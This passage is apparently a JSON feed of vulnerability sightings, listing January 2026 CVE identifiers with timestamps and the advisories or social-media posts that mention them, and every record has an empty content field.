"https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "bf5d3833-cd9f-4922-ad1e-a9148b0b5762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20839", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "6a3f1a47-82d3-4fbc-9493-d79ed944113b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "b9cb8dc2-576d-4bd8-bde0-fbdb0f0a0cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20814", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "768590e4-c69b-42d7-8b2e-9143448fead2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20836", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "768dfefa-0761-4ddc-afb5-5766e0f4d2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20925", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "c1248d39-6efa-496f-b8a7-b9e7a631d470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20872", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "1ca8dfbc-974c-4e05-828a-903e56946c10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20810", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "1e962fd8-5df2-4b39-8638-e2527a91db47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20831", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "95f17922-fe46-4af6-b9bb-b271b7814ea9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20860", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "2ee4061f-870b-4c33-bf3c-26fae45080ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20808", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "02b58297-25af-4111-adb0-46c96a5cf8f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20875", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "0f313a9f-7cb2-47fd-8808-c904e0e2c641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20854", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "fdfdcbff-0e9b-4dee-a3a2-24646200f657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20818", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "8dd769d1-475f-4d3d-bff2-4060939356da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20838", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "8543fff1-066a-4392-8a93-2c903ec9be4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "8bd95972-07be-479b-8d47-e2d5cc509404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20859", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "93c8b5ae-1c37-466f-8d63-67157a8244e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20821", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "06bad184-00d3-437f-ad1a-6db9d49c080e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20962", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "0bcee8f2-addf-4dd4-adcc-d8125c7f4c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "6648188c-2c01-447b-b473-bffdabedc13c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20816", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "d4b023a3-2a7d-4d8e-aa9b-dd42c7d3c0ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20822", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "1bcf8bff-08d8-4c25-b345-7b465ddb9919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20852", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "409c8cac-aec7-45cc-a9c6-3b7146a016a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20853", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "5363f92b-a90e-4a5f-8584-997bf8664ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20834", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "adc78894-2a2c-42d9-ae5b-cafc1f96b259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "7b8e4fd3-1e4c-4281-980e-4476bc9d344a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20864", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "9c050f44-3dc3-4b99-9172-51245d36f660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20828", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "1ac21d62-724d-4786-9a3b-0ddeca569c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "7f82beec-019e-4d1a-aefc-eea4721fcac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20856", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "035008f3-2b94-4742-a627-a66afe07f885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://bsky.app/profile/melhas765.bsky.social/post/3mgvmygchz223", "content": "", "creation_timestamp": "2026-03-13T00:13:26.028807Z"}, {"uuid": "574ffadb-946c-4120-98e5-24da82404cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20104", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtifpqj72r", "content": "", "creation_timestamp": "2026-03-26T14:40:14.857262Z"}, {"uuid": "f12a905e-08f2-4fee-9c54-bbf397006106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20849", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "8e9c3ad9-394c-465a-adfa-5c466f8981f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20843", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "3e5a8d4f-7836-4fd1-b680-25f55fe86351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20868", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "65c3bc0b-dfea-4b10-9f4e-147c100d1142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "87437f81-ad98-4c54-93c2-61bb86341572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "af12d6b7-d0c0-4d8c-89f5-58fcb3179831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20842", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "f669c1d1-7cf1-4b68-9424-5862e47939cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20825", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "ca135a17-8a55-48bf-a7ec-4567516ec827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20809", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "c099dbc3-8351-4f7c-bf6c-21a00fb7da10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20823", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "3878b466-ef20-4754-b34f-be42d34d8d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20932", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "fd9e919c-8177-448f-b7d3-82029f937e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20937", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "3350e913-fa20-45a7-b201-87ba49092b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20939", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "277c246a-b98e-40f2-b32c-b7be79656f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20829", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "31158370-c619-4938-8281-0aa5e5e9463e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20844", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "f3a9a18d-a85e-4ff9-a08a-267cc6e3604d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20832", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "510b53b2-fe4b-4377-b909-46e60233bc2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "508ae213-7b9f-474b-9ebb-e1c3f16d45ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20857", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "b2439e6d-a585-4831-9282-814c1fc4aa76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20940", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "5c90eb4c-29b8-47dc-b634-87bb5379464c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20811", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "a618f22e-df69-4dde-ae2b-57ebbe4d0c82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20920", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "1577e2e2-d0cd-4422-a755-d2b0ef3fce40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20863", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "31c5b63d-ff40-4398-8dc6-bbae8dc9d548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20870", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "e75bec9b-d364-493b-8638-a4d52fe5d4ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20819", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "142c823b-8b49-4ed8-8fc9-5c69b02ec97c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20876", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "fd146306-9450-4df0-b663-69680894001f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20938", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "89a39a65-b64c-416c-aab6-a4820e19e185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20935", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "803fbb4d-4632-45fe-a9d9-cb999d4e59cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20812", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "3ed2307f-f39f-4878-853d-84fb7a60f989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "0fdc85f4-288e-45e3-bd96-0fcb8fce0692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20826", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "814f5ea7-0d91-4e78-a195-179cbef85248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20827", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "8b5ba767-2359-4e37-99da-368b1f04b73f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20919", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "c33acc02-7179-4a70-82c1-7a3a25ba70a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20921", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "69a64009-222c-4319-acdf-21c123834b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20926", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "b43e6104-7174-4be9-b818-04d4ff6f867b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20927", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "34a6fe0d-6602-4520-a060-37bf4928e077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20934", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "440ebf5f-5a7c-42f1-86b3-6cbddfc7b70a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20848", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "0cf3dc61-7c7f-4c3f-a597-b82f5a46dd7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20847", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "05d378ee-e603-4e64-8aeb-21b5e0db71e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/microsoft-security-advisory-january-2026-monthly-rollup-av26-024", "content": "", "creation_timestamp": "2026-01-13T19:32:30.000000Z"}, {"uuid": "9024ab38-a9b9-4323-b1a0-6058c8b93bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcdtwded5c2m", "content": "", "creation_timestamp": "2026-01-14T00:48:49.308123Z"}, {"uuid": "6ca3d3bf-3648-4d60-a854-db94313eafa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115890728097103283", "content": "", "creation_timestamp": "2026-01-14T00:56:15.030147Z"}, {"uuid": "c1496176-7796-4699-b3ad-1d7b6e446e7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mcduovqfnw2t", "content": "", "creation_timestamp": "2026-01-14T01:02:33.895735Z"}, {"uuid": "a6e115bd-e024-4488-8a00-0ba94f206780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20804", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "9eeb87e6-6113-4458-a291-daf2000355e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mce6nzbu6n2a", "content": "", "creation_timestamp": "2026-01-14T04:01:01.517041Z"}, {"uuid": "2f9e29df-1782-4d65-9834-b492e4e78d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": 